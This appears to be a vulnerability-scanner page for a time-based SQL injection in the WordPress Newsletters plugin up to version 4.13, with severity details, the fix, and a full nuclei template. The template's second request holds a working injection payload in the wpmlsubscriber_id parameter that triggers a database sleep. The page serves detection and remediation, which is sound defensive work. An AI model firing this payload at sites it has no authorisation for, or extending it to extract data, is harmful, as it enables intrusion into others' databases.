WordPress Newsletters <= 4.13 - Unauthenticated SQL Injection

highseverity

7.5CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Newsletters WordPress plugin <= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.

Impact

Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.

Fix

Update to the latest version beyond 4.13.

How to confirm it

Send: GET /wp-content/plugins/newsletters-lite/readme.txt
Positive when: status_code == 200 and contains(body, "Newsletters")
Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(body, "wp-content") || contains(body, "wordpress") || contains(body, "newsletter")

Run it with nuclei: nuclei -id CVE-2026-3018 -u <target>

The full check

id: CVE-2026-3018

info:
  name: WordPress Newsletters <= 4.13 - Unauthenticated SQL Injection
  author: pussycat0x
  severity: high
  description: |
    Newsletters WordPress plugin <= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.
  remediation: Update to the latest version beyond 4.13.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/newsletters-lite/newsletters-413-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/changeset/3566485/newsletters-lite
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-3018
    epss-score: 0.01382
    epss-percentile: 0.72378
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: tribulant
    product: newsletters
    framework: wordpress
    publicwww-query: "/wp-content/plugins/newsletters-lite/"
  tags: cve,cve2026,sqli,wp,wp-plugin,newsletters-lite,time-based-sqli,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Newsletters")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - '(?i)Stable\s*tag:\s*(\d+\.\d+(?:\.\d+)?)'

  - raw:
      - |
        @timeout: 20s
        GET /newsletter-management/?method=unsubscribe&wpmlsubscriber_id=1'+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn)+AND+'1'='1&authkey=x&wpmlmailinglist_id=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "wp-content") || contains(body, "wordpress") || contains(body, "newsletter")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from